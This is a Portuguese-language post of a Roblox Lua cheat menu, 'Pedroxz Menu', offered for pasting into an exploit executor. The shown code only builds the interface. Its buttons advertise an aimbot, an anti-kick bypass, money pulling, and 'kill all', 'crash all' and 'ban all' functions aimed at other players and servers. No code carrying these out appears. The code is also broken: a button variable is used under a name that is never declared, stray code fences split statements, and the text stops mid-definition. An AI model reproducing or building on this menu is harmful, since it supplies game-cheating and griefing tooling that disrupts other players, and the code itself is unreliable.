

--Script do Pedroxz Menu o mais brabo
--Codigos FREE
--Para voces mobile e so copiar tudo e colar no seu exploit

```
local DreckMenu = Instance.new("ScreenGui")
local Fundo = Instance.new("Frame")
local PlayersButton = Instance.new("TextButton")
local UICorner = Instance.new("UICorner")
local ArmasButton = Instance.new("TextButton")
local UICorner_2 = Instance.new("UICorner")
local MiscButton = Instance.new("TextButton")
local UICorner_3 = Instance.new("UICorner")
local FarmButton = Instance.new("TextButton")
local UICorner_4 = Instance.new("UICorner")
local guia3 = Instance.new("Frame")
local guia2 = Instance.new("Frame")
local guia1 = Instance.new("Frame")
local TextLabel = Instance.new("TextLabel")
local AbasArmas = Instance.new("Frame")
local AimbotButton = Instance.new("TextButton")
local Linha1 = Instance.new("Frame")
local HubArmasButton = Instance.new("TextButton")
local AimbotTXT = Instance.new("TextLabel")
local GiveArmasButton = Instance.new("TextButton")
local BalaExplosivoTXT = Instance.new("TextLabel")
local Linha2 = Instance.new("Frame")
local BalaExplosivoButton = Instance.new("TextButton")
local BalasportirrosButton = Instance.new("TextButton")
local _10balasportirrosTXT = Instance.new("TextLabel")
local Linha3 = Instance.new("Frame")
local DispensadordebalasButton = Instance.new("TextButton")
local Linha4 = Instance.new("Frame")
local DispensadordebalasTXT = Instance.new("TextLabel")
local AbasPlayers = Instance.new("Frame")
local OrcaButton = Instance.new("TextButton")
local InfiniteYieldButton = Instance.new("TextButton")
local UnnamedESPButton = Instance.new("TextButton")
local FelipeMenuButton = Instance.new("TextButton")
local templehookButton = Instance.new("TextButton")
local AbasFarm = Instance.new("Frame")
local autojjsButton = Instance.new("TextButton")
local AbasMisc = Instance.new("Frame")
local IntValueNumberValueButton = Instance.new("TextButton")
local Linha1_2 = Instance.new("Frame")
local ToolDestruirButton = Instance.new("TextButton")
local FulltrollButton = Instance.new("TextButton")
local HubtrollButton = Instance.new("TextButton")
local Linha2_2 = Instance.new("Frame")
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local ACSTXT = Instance.new("TextLabel")
local Killallacs2Button = Instance.new("TextButton")
local Crashacs2Button = Instance.new("TextButton")
local ACSTXT_2 = Instance.new("TextLabel")
local Crashacs1Button = Instance.new("TextButton")
local KillallButtonacs1Button = Instance.new("TextButton")
local AlterarNumberValueacs2Button = Instance.new("TextButton")
local Construiracs2Button = Instance.new("TextButton")
local Explodeacs1Button = Instance.new("TextButton")
local Linha1_3 = Instance.new("Frame")
local ToolTXT = Instance.new("TextLabel")
local ToolPintarButton = Instance.new("TextButton")
local ToolTXT_2 = Instance.new("TextLabel")
local DeletarRoupaButton = Instance.new("TextButton")
local ToolTXT_3 = Instance.new("TextLabel")
local ToolTXT_4 = Instance.new("TextLabel")
local CreeperButton = Instance.new("TextButton")
local DeletarMapaTXT = Instance.new("TextLabel")
local DeletarMapaButton = Instance.new("TextButton")
local DeletarMapaTXT_2 = Instance.new("TextLabel")
local SoundButton = Instance.new("TextButton")
local DeletarMapaTXT_3 = Instance.new("TextLabel")
local BuiidButton = Instance.new("TextButton")

```

--Properties:

```

DreckMenu.Name = "PedroxzMenu"
DreckMenu.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
DreckMenu.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

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```

Fundo.Name = "Fundo"
Fundo.Parent = DreckMenu
Fundo.BackgroundColor3 = Color3.fromRGB(10, 23, 32)
Fundo.BorderColor3 = Color3.fromRGB(853, 342, 341)
Fundo.BorderSizePixel = 2
Fundo.Position = UDim2.new(0.24239938, 0, 0.161538467, 0)
Fundo.Size = UDim2.new(0, 495, 0, 338)
Fundo.Draggable = true
Fundo.Active = true
Fundo.Selectable = true

```

```

PlayersButton.Name = "PlayersButton"
PlayersButton.Parent = Fundo
PlayersButton.BackgroundColor3 = Color3.fromRGB(72, 72, 72)
PlayersButton.BorderSizePixel = 0
PlayersButton.Position = UDim2.new(0.165909097, 0, 0.0445266142, 0)
PlayersButton.Size = UDim2.new(0, 74, 0, 17)
PlayersButton.Font = Enum.Font.Roboto

```

```
PlayersButton.Text = "Menus"
PlayersButton.TextColor3 = Color3.fromRGB(255, 255, 255)
PlayersButton.TextScaled = true
PlayersButton.TextSize = 14.000
PlayersButton.TextStrokeColor3 = Color3.fromRGB(255, 0, 0)
PlayersButton.TextWrapped = true
```

```
UICorner.Parent = PlayersButton
```

```
ArmasButton.Name = "ArmasButton"
ArmasButton.Parent = Fundo
ArmasButton.BackgroundColor3 = Color3.fromRGB(72, 72, 72)
ArmasButton.BorderSizePixel = 0
ArmasButton.Position = UDim2.new(0.340821803, 0, 0.0445266142, 0)
ArmasButton.Size = UDim2.new(0, 74, 0, 17)
ArmasButton.Font = Enum.Font.Roboto
ArmasButton.Text = "Armas(ACS)"
ArmasButton.TextColor3 = Color3.fromRGB(255, 255, 255)
ArmasButton.TextScaled = true
ArmasButton.TextSize = 14.000
ArmasButton.TextStrokeColor3 = Color3.fromRGB(255, 0, 0)
ArmasButton.TextWrapped = true
```

```
UICorner_2.Parent = ArmasButton
```

```
MiscButton.Name = "MiscButton"
MiscButton.Parent = Fundo
MiscButton.BackgroundColor3 = Color3.fromRGB(72, 72, 72)
MiscButton.BorderSizePixel = 0
MiscButton.Position = UDim2.new(0.515233874, 0, 0.0445266142, 0)
MiscButton.Size = UDim2.new(0, 74, 0, 17)
MiscButton.Font = Enum.Font.Roboto
MiscButton.Text = "Troll"
MiscButton.TextColor3 = Color3.fromRGB(255, 255, 255)
MiscButton.TextScaled = true
MiscButton.TextSize = 14.000
MiscButton.TextStrokeColor3 = Color3.fromRGB(255, 0, 0)
MiscButton.TextWrapped = true
```

```
UICorner_3.Parent = MiscButton
```

```
FarmButton.Name = "FarmButton"
FarmButton.Parent = Fundo
FarmButton.BackgroundColor3 = Color3.fromRGB(72, 72, 72)
FarmButton.BorderSizePixel = 0
FarmButton.Position = UDim2.new(0.683675528, 0, 0.0445266142, 0)
FarmButton.Size = UDim2.new(0, 74, 0, 17)
FarmButton.Font = Enum.Font.Roboto
```

```
FarmButton.Text = "Bypass"
FarmButton.TextColor3 = Color3.fromRGB(255, 255, 255)
FarmButton.TextScaled = true
FarmButton.TextSize = 14.000
FarmButton.TextStrokeColor3 = Color3.fromRGB(255, 0, 0)
FarmButton.TextWrapped = true
```

```
UICorner_4.Parent = FarmButton
```

```
guia3.Name = "guia3"
guia3.Parent = Fundo
guia3.BackgroundColor3 = Color3.fromRGB(56, 56, 56)
guia3.BorderColor3 = Color3.fromRGB(0, 255, 255)
guia3.Position = UDim2.new(0.0199607015, 0, 0.141420126, 0)
guia3.Size = UDim2.new(0, 475, 0, 283)
```

```
guia2.Name = "guia2"
guia2.Parent = Fundo
guia2.BackgroundColor3 = Color3.fromRGB(56, 56, 56)
guia2.BorderColor3 = Color3.fromRGB(85, 255, 255)
guia2.Position = UDim2.new(0.0199607015, 0, 0.141420126, 0)
guia2.Size = UDim2.new(0, 475, 0, 22)
```

```
guia1.Name = "guia1"
guia1.Parent = Fundo
guia1.BackgroundColor3 = Color3.fromRGB(56, 56, 56)
guia1.BorderColor3 = Color3.fromRGB(85, 255, 255)
guia1.Position = UDim2.new(0.496992588, 0, 0.229733706, 0)
guia1.Size = UDim2.new(0, 0, 0, 247)
```

```
TextLabel.Parent = Fundo
TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.BackgroundTransparency = 1.000
TextLabel.Position = UDim2.new(0.260092437, 0, 0.141420126, 0)
TextLabel.Size = UDim2.new(0, 233, 0, 21)
TextLabel.Font = Enum.Font.DenkOne
TextLabel.Text = "Pedroxz Menu RP(BETA) - V1"
TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.TextScaled = true
TextLabel.TextSize = 14.000
TextLabel.TextWrapped = true
```

```
AbasArmas.Name = "AbasArmas"
AbasArmas.Parent = Fundo
AbasArmas.BackgroundColor3 = Color3.fromRGB(56, 56, 56)
AbasArmas.BorderColor3 = Color3.fromRGB(255, 0, 0)
AbasArmas.BorderSizePixel = 0
AbasArmas.Position = UDim2.new(0.0420634896, 0, 0.230983719, 0)
```

AbasArmas.Size = UDim2.new(0, 213, 0, 246)
AbasArmas.Visible = false

AimbotButton.Name = "AimbotButton"
AimbotButton.Parent = AbasArmas
AimbotButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
AimbotButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
AimbotButton.Position = UDim2.new(1.09605908, 0, 0.0711502433, 0)
AimbotButton.Size = UDim2.new(0, 11, 0, 11)
AimbotButton.Font = Enum.Font.SourceSans
AimbotButton.Text = ""
AimbotButton.TextColor3 = Color3.fromRGB(0, 0, 0)
AimbotButton.TextSize = 14.000

Linha1.Name = "Linha1"
Linha1.Parent = AbasArmas
Linha1.BackgroundColor3 = Color3.fromRGB(85, 255, 255)
Linha1.BorderSizePixel = 0
Linha1.Position = UDim2.new(1.09599996, 0, 0.12999998, 0)
Linha1.Size = UDim2.new(0, 107, 0, 1)

HubArmasButton.Name = "HubArmasButton"
HubArmasButton.Parent = AbasArmas
HubArmasButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
HubArmasButton.BorderColor3 = Color3.fromRGB(85, 255, 255)
HubArmasButton.Position = UDim2.new(-0.00375581114, 0, 0.0670852065, 0)
HubArmasButton.Size = UDim2.new(0, 213, 0, 16)
HubArmasButton.Font = Enum.Font.DenkOne
HubArmasButton.Text = "Menu Armas - acs 1.7.5"
HubArmasButton.TextColor3 = Color3.fromRGB(255, 255, 255)
HubArmasButton.TextSize = 14.000

AimbotTXT.Name = "AimbotTXT"
AimbotTXT.Parent = AbasArmas
AimbotTXT.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
AimbotTXT.BackgroundTransparency = 1.000
AimbotTXT.Position = UDim2.new(1.17045426, 0, 0.0730613098, 0)
AimbotTXT.Size = UDim2.new(0, 55, 0, 14)
AimbotTXT.Font = Enum.Font.DenkOne
AimbotTXT.Text = "MiraFOV(!)"
AimbotTXT.TextColor3 = Color3.fromRGB(255, 255, 255)
AimbotTXT.TextScaled = true
AimbotTXT.TextSize = 14.000
AimbotTXT.TextWrapped = true

GiveArmasButton.Name = "GiveArmasButton"
GiveArmasButton.Parent = AbasArmas
GiveArmasButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)

```
GiveArmasButton.BorderColor3 = Color3.fromRGB(85, 255, 255)
GiveArmasButton.Position = UDim2.new(-0.00375581114, 0, 0.176841304, 0)
GiveArmasButton.Size = UDim2.new(0, 213, 0, 16)
GiveArmasButton.Font = Enum.Font.DenkOne
GiveArmasButton.Text = "Pegar Armas - Acs 2.0.1"
GiveArmasButton.TextColor3 = Color3.fromRGB(255, 255, 255)
GiveArmasButton.TextSize = 14.000
```

```
BalaExplosivoTXT.Name = "BalaExplosivoTXT"
BalaExplosivoTXT.Parent = AbasArmas
BalaExplosivoTXT.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
BalaExplosivoTXT.BackgroundTransparency = 1.000
BalaExplosivoTXT.Position = UDim2.new(1.17045426, 0, 0.170622289, 0)
BalaExplosivoTXT.Size = UDim2.new(0, 112, 0, 14)
BalaExplosivoTXT.Font = Enum.Font.DenkOne
BalaExplosivoTXT.Text = "Bala Explosiva - 1.7.5"
BalaExplosivoTXT.TextColor3 = Color3.fromRGB(255, 255, 255)
BalaExplosivoTXT.TextScaled = true
BalaExplosivoTXT.TextSize = 14.000
BalaExplosivoTXT.TextWrapped = true
```

```
Linha2.Name = "Linha2"
Linha2.Parent = AbasArmas
Linha2.BackgroundColor3 = Color3.fromRGB(85, 255, 255)
Linha2.BorderSizePixel = 0
Linha2.Position = UDim2.new(1.09599996, 0, 0.235691041, 0)
Linha2.Size = UDim2.new(0, 128, 0, 1)
```

```
BalaExplosivoButton.Name = "BalaExplosivoButton"
BalaExplosivoButton.Parent = AbasArmas
BalaExplosivoButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
BalaExplosivoButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
BalaExplosivoButton.Position = UDim2.new(1.09605908, 0, 0.176841304, 0)
BalaExplosivoButton.Size = UDim2.new(0, 11, 0, 11)
BalaExplosivoButton.Font = Enum.Font.SourceSans
BalaExplosivoButton.Text = ""
BalaExplosivoButton.TextColor3 = Color3.fromRGB(0, 0, 0)
BalaExplosivoButton.TextSize = 14.000
```

```
BalasportirrosButton.Name = "BalasportirrosButton"
BalasportirrosButton.Parent = AbasArmas
BalasportirrosButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
BalasportirrosButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
BalasportirrosButton.Position = UDim2.new(1.09605908, 0, 0.278467327, 0)
BalasportirrosButton.Size = UDim2.new(0, 11, 0, 11)
BalasportirrosButton.Font = Enum.Font.SourceSans
BalasportirrosButton.Text = ""
BalasportirrosButton.TextColor3 = Color3.fromRGB(0, 0, 0)
```

BalasportirrosButton.TextSize = 14.000

```
_10balasportirrosTXT.Name = "10balasportirrosTXT"  
_10balasportirrosTXT.Parent = AbasArmas  
_10balasportirrosTXT.BackgroundColor3 = Color3.fromRGB(255, 255, 255)  
_10balasportirrosTXT.BackgroundTransparency = 1.000  
_10balasportirrosTXT.Position = UDim2.new(1.17045426, 0, 0.276313335, 0)  
_10balasportirrosTXT.Size = UDim2.new(0, 124, 0, 14)  
_10balasportirrosTXT.Font = Enum.Font.DenkOne  
_10balasportirrosTXT.Text = "10 Balas por tiros - 1.7.5"  
_10balasportirrosTXT.TextColor3 = Color3.fromRGB(255, 255, 255)  
_10balasportirrosTXT.TextScaled = true  
_10balasportirrosTXT.TextSize = 14.000  
_10balasportirrosTXT.TextWrapped = true
```

```
Linha3.Name = "Linha3"  
Linha3.Parent = AbasArmas  
Linha3.BackgroundColor3 = Color3.fromRGB(85, 255, 255)  
Linha3.BorderSizePixel = 0  
Linha3.Position = UDim2.new(1.09599996, 0, 0.33731705, 0)  
Linha3.Size = UDim2.new(0, 128, 0, 1)
```

```
DispensadordebalasButton.Name = "DispensadordebalasButton"  
DispensadordebalasButton.Parent = AbasArmas  
DispensadordebalasButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)  
DispensadordebalasButton.BorderColor3 = Color3.fromRGB(0, 0, 0)  
DispensadordebalasButton.Position = UDim2.new(1.1007539, 0, 0.363833189, 0)  
DispensadordebalasButton.Size = UDim2.new(0, 11, 0, 11)  
DispensadordebalasButton.Font = Enum.Font.SourceSans  
DispensadordebalasButton.Text = ""  
DispensadordebalasButton.TextColor3 = Color3.fromRGB(0, 0, 0)  
DispensadordebalasButton.TextSize = 14.000
```

```
Linha4.Name = "Linha4"  
Linha4.Parent = AbasArmas  
Linha4.BackgroundColor3 = Color3.fromRGB(85, 255, 255)  
Linha4.BorderSizePixel = 0  
Linha4.Position = UDim2.new(1.10069478, 0, 0.422682911, 0)  
Linha4.Size = UDim2.new(0, 128, 0, 1)
```

```
DispensadordebalasTXT.Name = "Dispensador de balasTXT"  
DispensadordebalasTXT.Parent = AbasArmas  
DispensadordebalasTXT.BackgroundColor3 = Color3.fromRGB(255, 255, 255)  
DispensadordebalasTXT.BackgroundTransparency = 1.000  
DispensadordebalasTXT.Position = UDim2.new(1.17514908, 0, 0.361679196, 0)  
DispensadordebalasTXT.Size = UDim2.new(0, 141, 0, 14)  
DispensadordebalasTXT.Font = Enum.Font.DenkOne  
DispensadordebalasTXT.Text = "Dispensador de balas - 1.7.5"
```

```
DispensadordebalasTXT.TextColor3 = Color3.fromRGB(255, 255, 255)
DispensadordebalasTXT.TextScaled = true
DispensadordebalasTXT.TextSize = 14.000
DispensadordebalasTXT.TextWrapped = true
```

```
AbasPlayers.Name = "AbasPlayers"
AbasPlayers.Parent = Fundo
AbasPlayers.BackgroundColor3 = Color3.fromRGB(56, 56, 56)
AbasPlayers.BorderColor3 = Color3.fromRGB(255, 0, 0)
AbasPlayers.BorderSizePixel = 0
AbasPlayers.Position = UDim2.new(0.0420634896, 0, 0.230983719, 0)
AbasPlayers.Size = UDim2.new(0, 213, 0, 246)
AbasPlayers.Visible = false
```

```
OrcaButton.Name = "OrcaButton"
OrcaButton.Parent = AbasPlayers
OrcaButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
OrcaButton.BorderColor3 = Color3.fromRGB(85, 255, 255)
OrcaButton.Position = UDim2.new(-0.00375581114, 0, 0.0670852065, 0)
OrcaButton.Size = UDim2.new(0, 213, 0, 16)
OrcaButton.Font = Enum.Font.DenkOne
OrcaButton.Text = "HUB Com scripts(Novo)"
OrcaButton.TextColor3 = Color3.fromRGB(255, 255, 255)
OrcaButton.TextSize = 14.000
```

```
InfiniteYieldButton.Name = "InfiniteYieldButton"
InfiniteYieldButton.Parent = AbasPlayers
InfiniteYieldButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
InfiniteYieldButton.BorderColor3 = Color3.fromRGB(85, 255, 255)
InfiniteYieldButton.Position = UDim2.new(-0.00375581114, 0, 0.176841304, 0)
InfiniteYieldButton.Size = UDim2.new(0, 213, 0, 16)
InfiniteYieldButton.Font = Enum.Font.DenkOne
InfiniteYieldButton.Text = "Yield.lua "
InfiniteYieldButton.TextColor3 = Color3.fromRGB(255, 255, 255)
InfiniteYieldButton.TextSize = 14.000
```

```
UnnamedESPButton.Name = "UnnamedESPButton"
UnnamedESPButton.Parent = AbasPlayers
UnnamedESPButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
UnnamedESPButton.BorderColor3 = Color3.fromRGB(85, 255, 255)
UnnamedESPButton.Position = UDim2.new(-0.00375581114, 0, 0.286597401, 0)
UnnamedESPButton.Size = UDim2.new(0, 213, 0, 16)
UnnamedESPButton.Font = Enum.Font.DenkOne
UnnamedESPButton.Text = "Unnamed ESP.lua"
UnnamedESPButton.TextColor3 = Color3.fromRGB(255, 255, 255)
UnnamedESPButton.TextSize = 14.000
```

```
FelipeMenuButton.Name = "FelipeMenuButton"
```



```
FelipeMenuButton.Parent = AbasPlayers
FelipeMenuButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
FelipeMenuButton.BorderColor3 = Color3.fromRGB(85, 255, 255)
FelipeMenuButton.Position = UDim2.new(-0.00375581114, 0, 0.392288446, 0)
FelipeMenuButton.Size = UDim2.new(0, 213, 0, 16)
FelipeMenuButton.Font = Enum.Font.DenkOne
FelipeMenuButton.Text = "Felipe Menu.lua"
FelipeMenuButton.TextColor3 = Color3.fromRGB(255, 255, 255)
FelipeMenuButton.TextSize = 14.000
```

```
templehookButton.Name = "templehookButton"
templehookButton.Parent = AbasPlayers
templehookButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
templehookButton.BorderColor3 = Color3.fromRGB(85, 255, 255)
templehookButton.Position = UDim2.new(-0.00375581114, 0, 0.502044559, 0)
templehookButton.Size = UDim2.new(0, 213, 0, 16)
templehookButton.Font = Enum.Font.DenkOne
templehookButton.Text = "Templehook Beta.lua"
templehookButton.TextColor3 = Color3.fromRGB(255, 255, 255)
templehookButton.TextSize = 14.000
```

```
AbasFarm.Name = "AbasFarm"
AbasFarm.Parent = Fundo
AbasFarm.BackgroundColor3 = Color3.fromRGB(56, 56, 56)
AbasFarm.BorderColor3 = Color3.fromRGB(255, 0, 0)
AbasFarm.BorderSizePixel = 0
AbasFarm.Position = UDim2.new(0.0420634896, 0, 0.230983719, 0)
AbasFarm.Size = UDim2.new(0, 213, 0, 246)
AbasFarm.Visible = false
```

```
autojjsButton.Name = "autojjsButton"
autojjsButton.Parent = AbasFarm
autojjsButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
autojjsButton.BorderColor3 = Color3.fromRGB(85, 255, 255)
autojjsButton.Position = UDim2.new(-0.00375581114, 0, 0.0670852065, 0)
autojjsButton.Size = UDim2.new(0, 213, 0, 16)
autojjsButton.Font = Enum.Font.DenkOne
autojjsButton.Text = "Bypass(ante-kick)Beta - Risco"
autojjsButton.TextColor3 = Color3.fromRGB(255, 255, 255)
autojjsButton.TextSize = 14.000
```

```
AbasMisc.Name = "AbasMisc"
AbasMisc.Parent = Fundo
AbasMisc.BackgroundColor3 = Color3.fromRGB(56, 56, 56)
AbasMisc.BorderColor3 = Color3.fromRGB(255, 0, 0)
AbasMisc.BorderSizePixel = 0
AbasMisc.Position = UDim2.new(0.0420634896, 0, 0.230983719, 0)
AbasMisc.Size = UDim2.new(0, 213, 0, 246)
```

AbasMisc.Visible = false

IntValueNumberValueButton.Name = "IntValueNumberValueButton"
IntValueNumberValueButton.Parent = AbasMisc
IntValueNumberValueButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
IntValueNumberValueButton.BorderColor3 = Color3.fromRGB(85, 255, 255)
IntValueNumberValueButton.Position = UDim2.new(-0.00375581114, 0, 0.0670852065, 0)
IntValueNumberValueButton.Size = UDim2.new(0, 213, 0, 16)
IntValueNumberValueButton.Font = Enum.Font.DenkOne
IntValueNumberValueButton.Text = "IntValue/NumberValue - Risco"
IntValueNumberValueButton.TextColor3 = Color3.fromRGB(255, 255, 255)
IntValueNumberValueButton.TextSize = 14.000

Linha1_2.Name = "Linha1"
Linha1_2.Parent = AbasMisc
Linha1_2.BackgroundColor3 = Color3.fromRGB(85, 255, 255)
Linha1_2.BorderSizePixel = 0
Linha1_2.Position = UDim2.new(1.09599996, 0, 0.0365040489, 0)
Linha1_2.Size = UDim2.new(0, 222, 0, 1)

ToolDestruirButton.Name = "ToolDestruirButton"
ToolDestruirButton.Parent = AbasMisc
ToolDestruirButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
ToolDestruirButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
ToolDestruirButton.Position = UDim2.new(1.0960592, 0, 0.510174572, 0)
ToolDestruirButton.Size = UDim2.new(0, 11, 0, 11)
ToolDestruirButton.Font = Enum.Font.SourceSans
ToolDestruirButton.Text = ""
ToolDestruirButton.TextColor3 = Color3.fromRGB(0, 0, 0)
ToolDestruirButton.TextSize = 14.000

FulltrollButton.Name = "FulltrollButton"
FulltrollButton.Parent = AbasMisc
FulltrollButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
FulltrollButton.BorderColor3 = Color3.fromRGB(85, 255, 255)
FulltrollButton.Position = UDim2.new(-0.00375581114, 0, 0.176841304, 0)
FulltrollButton.Size = UDim2.new(0, 213, 0, 16)
FulltrollButton.Font = Enum.Font.DenkOne
FulltrollButton.Text = "FULL TROLL - mapa ID 11777622630"
FulltrollButton.TextColor3 = Color3.fromRGB(255, 255, 255)
FulltrollButton.TextSize = 14.000

HubtrollebButton.Name = "HubtrollebButton"
HubtrollebButton.Parent = AbasMisc
HubtrollebButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
HubtrollebButton.BorderColor3 = Color3.fromRGB(85, 255, 255)
HubtrollebButton.Position = UDim2.new(-0.00375581114, 0, 0.282532364, 0)
HubtrollebButton.Size = UDim2.new(0, 213, 0, 16)

```
HubtrollebButton.Font = Enum.Font.DenkOne
HubtrollebButton.Text = "Hub Troll EB - Mapa @OMNICHAVE"
HubtrollebButton.TextColor3 = Color3.fromRGB(255, 255, 255)
HubtrollebButton.TextSize = 14.000
```

```
Linha2_2.Name = "Linha2"
Linha2_2.Parent = AbasMisc
Linha2_2.BackgroundColor3 = Color3.fromRGB(85, 255, 255)
Linha2_2.BorderSizePixel = 0
Linha2_2.Position = UDim2.new(-0.00728639401, 0, 0.394227564, 0)
Linha2_2.Size = UDim2.new(0, 213, 0, 1)
```

```
ACSTXT.Name = "ACSTXT"
ACSTXT.Parent = AbasMisc
ACSTXT.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ACSTXT.BackgroundTransparency = 1.000
ACSTXT.Position = UDim2.new(-0.00794947147, 0, 0.422654808, 0)
ACSTXT.Size = UDim2.new(0, 55, 0, 14)
ACSTXT.Font = Enum.Font.DenkOne
ACSTXT.Text = "ACS - 2.0.1"
ACSTXT.TextColor3 = Color3.fromRGB(255, 255, 255)
ACSTXT.TextScaled = true
ACSTXT.TextSize = 14.000
ACSTXT.TextWrapped = true
```

```
Killallacs2Button.Name = "Killallacs2Button"
Killallacs2Button.Parent = AbasMisc
Killallacs2Button.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
Killallacs2Button.BorderColor3 = Color3.fromRGB(85, 255, 255)
Killallacs2Button.Position = UDim2.new(-0.00375581114, 0, 0.506109595, 0)
Killallacs2Button.Size = UDim2.new(0, 213, 0, 16)
Killallacs2Button.Font = Enum.Font.DenkOne
Killallacs2Button.Text = "Matar Geral(!)"
Killallacs2Button.TextColor3 = Color3.fromRGB(255, 255, 255)
Killallacs2Button.TextSize = 14.000
```

```
Crashacs2Button.Name = "Crashacs2Button"
Crashacs2Button.Parent = AbasMisc
Crashacs2Button.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
Crashacs2Button.BorderColor3 = Color3.fromRGB(85, 255, 255)
Crashacs2Button.Position = UDim2.new(-0.00375581114, 0, 0.59960556, 0)
Crashacs2Button.Size = UDim2.new(0, 213, 0, 16)
Crashacs2Button.Font = Enum.Font.DenkOne
Crashacs2Button.Text = "Crashar Geral 3.0(!)"
Crashacs2Button.TextColor3 = Color3.fromRGB(255, 255, 255)
Crashacs2Button.TextSize = 14.000
```

```
ACSTXT_2.Name = "ACSTXT"
```

ACSTXT_2.Parent = AbasMisc
ACSTXT_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ACSTXT_2.BackgroundTransparency = 1.000
ACSTXT_2.Position = UDim2.new(1.09533703, 0, 0.0649312735, 0)
ACSTXT_2.Size = UDim2.new(0, 55, 0, 14)
ACSTXT_2.Font = Enum.Font.DenkOne
ACSTXT_2.Text = "ACS - 1.7.5"
ACSTXT_2.TextColor3 = Color3.fromRGB(255, 255, 255)
ACSTXT_2.TextScaled = true
ACSTXT_2.TextSize = 14.000
ACSTXT_2.TextWrapped = true

Crashacs1Button.Name = "Crashacs1Button"
Crashacs1Button.Parent = AbasMisc
Crashacs1Button.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
Crashacs1Button.BorderColor3 = Color3.fromRGB(85, 255, 255)
Crashacs1Button.Position = UDim2.new(1.11361516, 0, 0.270337224, 0)
Crashacs1Button.Size = UDim2.new(0, 213, 0, 16)
Crashacs1Button.Font = Enum.Font.DenkOne
Crashacs1Button.Text = "Crashar Geral 1.7.5(!)"
Crashacs1Button.TextColor3 = Color3.fromRGB(255, 255, 255)
Crashacs1Button.TextSize = 14.000

KillallButtonacs1Button.Name = "KillallButtonacs1Button"
KillallButtonacs1Button.Parent = AbasMisc
KillallButtonacs1Button.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
KillallButtonacs1Button.BorderColor3 = Color3.fromRGB(85, 255, 255)
KillallButtonacs1Button.Position = UDim2.new(1.11361516, 0, 0.176841259, 0)
KillallButtonacs1Button.Size = UDim2.new(0, 213, 0, 16)
KillallButtonacs1Button.Font = Enum.Font.DenkOne
KillallButtonacs1Button.Text = "Banir Geral(Metodo) 1.7.5 - Risco(!)"
KillallButtonacs1Button.TextColor3 = Color3.fromRGB(255, 255, 255)
KillallButtonacs1Button.TextSize = 14.000

AlterarNumberValueacs2Button.Name = "AlterarNumberValueacs2Button"
AlterarNumberValueacs2Button.Parent = AbasMisc
AlterarNumberValueacs2Button.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
AlterarNumberValueacs2Button.BorderColor3 = Color3.fromRGB(85, 255, 255)
AlterarNumberValueacs2Button.Position = UDim2.new(-0.00375580834, 0, 0.697166443, 0)
AlterarNumberValueacs2Button.Size = UDim2.new(0, 213, 0, 16)
AlterarNumberValueacs2Button.Font = Enum.Font.DenkOne
AlterarNumberValueacs2Button.Text = "Puxar Dinheiro(BETA) - Risco"
AlterarNumberValueacs2Button.TextColor3 = Color3.fromRGB(255, 255, 255)
AlterarNumberValueacs2Button.TextSize = 14.000

Construiracs2Button.Name = "Construiracs2Button"
Construiracs2Button.Parent = AbasMisc
Construiracs2Button.BackgroundColor3 = Color3.fromRGB(76, 76, 76)

```
Construiracs2Button.BorderColor3 = Color3.fromRGB(85, 255, 255)
Construiracs2Button.Position = UDim2.new(-0.00375580834, 0, 0.798792481, 0)
Construiracs2Button.Size = UDim2.new(0, 213, 0, 16)
Construiracs2Button.Font = Enum.Font.DenkOne
Construiracs2Button.Text = "Construir Em Tudo(!)"
Construiracs2Button.TextColor3 = Color3.fromRGB(255, 255, 255)
Construiracs2Button.TextSize = 14.000
```

```
Explodeacs1Button.Name = "Explodeacs1Button"
Explodeacs1Button.Parent = AbasMisc
Explodeacs1Button.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
Explodeacs1Button.BorderColor3 = Color3.fromRGB(85, 255, 255)
Explodeacs1Button.Position = UDim2.new(1.11361516, 0, 0.363833129, 0)
Explodeacs1Button.Size = UDim2.new(0, 213, 0, 16)
Explodeacs1Button.Font = Enum.Font.DenkOne
Explodeacs1Button.Text = "Explodir Geral(!)"
Explodeacs1Button.TextColor3 = Color3.fromRGB(255, 255, 255)
Explodeacs1Button.TextSize = 14.000
```

```
Linha1_3.Name = "Linha1"
Linha1_3.Parent = AbasMisc
Linha1_3.BackgroundColor3 = Color3.fromRGB(85, 255, 255)
Linha1_3.BorderSizePixel = 0
Linha1_3.Position = UDim2.new(1.09599996, 0, 0.471463412, 0)
Linha1_3.Size = UDim2.new(0, 222, 0, 1)
```

```
ToolTXT.Name = "ToolTXT"
ToolTXT.Parent = AbasMisc
ToolTXT.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ToolTXT.BackgroundTransparency = 1.000
ToolTXT.Position = UDim2.new(1.15239727, 0, 0.503955603, 0)
ToolTXT.Size = UDim2.new(0, 69, 0, 14)
ToolTXT.Font = Enum.Font.DenkOne
